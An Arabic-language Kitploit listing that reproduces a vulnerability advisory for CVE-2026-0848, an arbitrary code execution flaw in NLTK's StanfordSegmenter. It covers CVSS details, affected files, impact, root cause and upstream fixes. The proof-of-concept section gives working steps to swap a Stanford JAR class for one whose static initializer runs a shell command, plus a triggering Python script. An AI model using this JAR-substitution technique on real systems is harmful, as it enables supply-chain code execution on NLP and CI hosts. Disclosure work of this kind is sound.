Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا دون تحقق أو عزل (sandboxing). إذا تمكن مهاجم من توفير ملف JAR أو استبداله (على سبيل المثال، عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم MITM، أو تسميم التبعيات)، فسيتم تنفيذ Java bytecode عشوائي في وقت الاستيراد. | Kitploit
أدوات/GitHubGitHub/hyperps/cve-2026-0848
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن سلسلة التوريدالأوراق والأبحاثالتعلم والتعليم
GitHubhyperps/cve-2026-0848

CVE-2026-0848

عرض المستودع
12منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا دون تحقق أو عزل (sandboxing). إذا تمكن مهاجم من توفير ملف JAR أو استبداله (على سبيل المثال، عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم MITM، أو تسميم التبعيات)، فسيتم تنفيذ Java bytecode عشوائي في وقت الاستيراد.

مشاركة

CVE-2026-0848 — NLTK StanfordSegmenter: تنفيذ تعسفي للكود عبر تحميل ملف JAR غير موثوق


نظرة عامة

الحقلالتفاصيل
معرّف CVECVE-2026-0848
الحزمةnltk (مجموعة أدوات اللغة الطبيعية)
السجلPyPI
الإصدارات المتأثرة<= 3.9.2
نوع الثغرةCWE-20: التحقق غير السليم من المدخلات
درجة CVSS10.0 (حرجة)
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
النطاقمتغيّر
تأثير السريةعالي
تأثير التكاملعالي
تأثير التوافرعالي
تاريخ الإبلاغ6 ديسمبر 2025
نشر CVEمارس 2026
بدعم منPalo Alto Networks / Prisma AIRS

الوصف

nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا عبر subprocess دون إجراء أي تحقق من التكامل أو فحص توقيعات أو عزل (sandboxing). تقبل الفئة معاملات يتحكم بها المهاجم بالكامل بما في ذلك path_to_jar وpath_to_model وpath_to_dict وjava_class، وتمررها مباشرة إلى استدعاء java -cp.

إذا تمكن المهاجم من توفير ملف JAR أو استبداله — عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم الوسيط، أو تسميم التبعيات، أو مرآة إصدارات مخترقة — فسيتم تنفيذ bytecode Java تعسفي وقت تحميل الفئة عبر آلية المُهيّئ الثابت (static initializer) في JVM. يشكّل هذا ثغرة تنفيذ كود عن بُعد عبر سلسلة التوريد (Supply-Chain RCE) وتهربًا كاملًا من بيئة تشغيل Python.


المكونات المتأثرة

الملفالأسطرالوصف
nltk/tokenize/stanford_segmenter.pyL53–L118يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class التي يتحكم بها المهاجم دون أي تحقق
nltk/internals.pyL220–L300يشغّل Java مباشرةً بمسار JAR وclasspath يتحكم بهما المستخدم، دون عزل أو تحقق من المجاميع الاختبارية (checksums)
nltk/internals.pyL109–L152ينفّذ subprocess.Popen() كود Java بإدخال classpath غير مُتحقق منه، مما يسمح لـ JVM بتحميل bytecode تعسفي وتشغيل المُهيّئات الثابتة

متجه CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
المقياسالقيمة
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
النطاقمتغيّر
السريةعالي
التكاملعالي
التوافرعالي

التأثير

الاستغلال الناجح يمنح المهاجم تحكمًا كاملًا في النظام الذي يشغّل عملية تقسيم النصوص في NLTK:

  • تنفيذ كود Java تعسفي — أي bytecode مضمّن في ملف JAR الخبيث يعمل بصلاحيات عملية Python/Java
  • الهروب من بيئة تشغيل Python — ينتقل التنفيذ إلى JVM، متجاوزًا عزل مستوى Python بالكامل
  • تنفيذ أوامر على مستوى نظام التشغيل — يمكن للمهاجمين استدعاء Runtime.getRuntime().exec() أو ProcessBuilder لتشغيل أوامر شل عشوائية
  • سرقة البيانات وتعديلها — الوصول إلى جميع الملفات ومتغيرات البيئة ومفاتيح API والأسرار التي يمكن للعملية قراءتها
  • اختراق البيئة بالكامل — في بيئات CI/CD أو خطوط أنابيب NLP الإنتاجية أو بيئات الخوادم، يؤدي ملف JAR خبيث واحد إلى السيطرة الكاملة على المضيف

سيناريوهات النشر عالية الخطورة

السيناريوالتأثير
باحث في تعلّم الآلة يحمّل مقسّمًا مدربًا مسبقًا من الإنترنتمهاجم عن بُعد يحصل على تنفيذ كود
مؤسسة تنزّل حزمة ZIP لنموذج تقسيم صيني مفسودةبرمجية خبيثة تعمل داخل خط أنابيب NLP الإنتاجي
خادم CI/CD يثبّت النموذج عبر wget/unzip من مرآة غير HTTPSاختراق البيئة بالكامل
الاستيلاء على تبعية أو مرآة إصدارات مسمومةRCE كامل عبر سلسلة التوريد

تؤثر هذه الثغرة على أي سير عمل NLP يستخدم StanfordSegmenter، بما في ذلك روبوتات المحادثة وخطوط أنابيب المعالجة المسبقة لنماذج اللغات الكبيرة (LLM) وتقسيم مجموعات البيانات وتصنيف المستندات وخدمات الاستدلال الإنتاجية.


إثبات المفهوم

تُقدَّم هذه المعلومات لأغراض تعليمية ودفاعية فقط. لا تختبر أي أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

الخطوة 1 — استبدال المصنّف الأساسي بفئة Java خبيثة

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

الخطوة 2 — بناء ملف JAR الخبيث

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

الخطوة 3 — التشغيل عبر NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

المخرجات:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

تأكيد RCE:

ls /tmp | grep pwned_hijack
# pwned_hijack

السبب الجذري

توجد الثغرة في ملفين:

stanford_segmenter.py — مُنشئ فئة StanfordSegmenter يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class كوسائط نصية عادية ويُمررها مباشرة إلى طبقة تنفيذ Java دون تنفيذ أي مما يلي:

  • قائمة سماح للمسارات أو فرض أدلة موثوقة
  • تحقق من SHA-256 أو التوقيعات التشفيرية لملف JAR
  • التحقق من معامل java_class مقابل مجموعة آمنة معروفة من أسماء الفئات

internals.py — الدالة المساعدة java() تُنشئ وتُطلق استدعاء subprocess.Popen() بالـ classpath الذي يوفره المستخدم. يقوم JVM فورًا بتحميل جميع الفئات في ملف JAR المقدم، منفذًا أي كتل مُهيّئات ثابتة قبل تشغيل منطق التطبيق. لا يوجد عزل ولا بوابة تكامل ولا أي آلية لمنع تنفيذ bytecode المحقون.


الإصلاح

تم حل الثغرة بالكامل في مستودع NLTK الرسمي (upstream).

الموردالرابط
الإصلاح الأمني المركزي (جميع ثغرات CVE)https://github.com/nltk/nltk/pull/3522
طلب السحب (PR) الأولي للإصلاح من الباحثhttps://github.com/nltk/nltk/pull/3477 (مدمج)

قم بالترقية إلى إصدار مُصحح من NLTK بمجرد توفره على PyPI.


المعالجة

تنزيل الأداة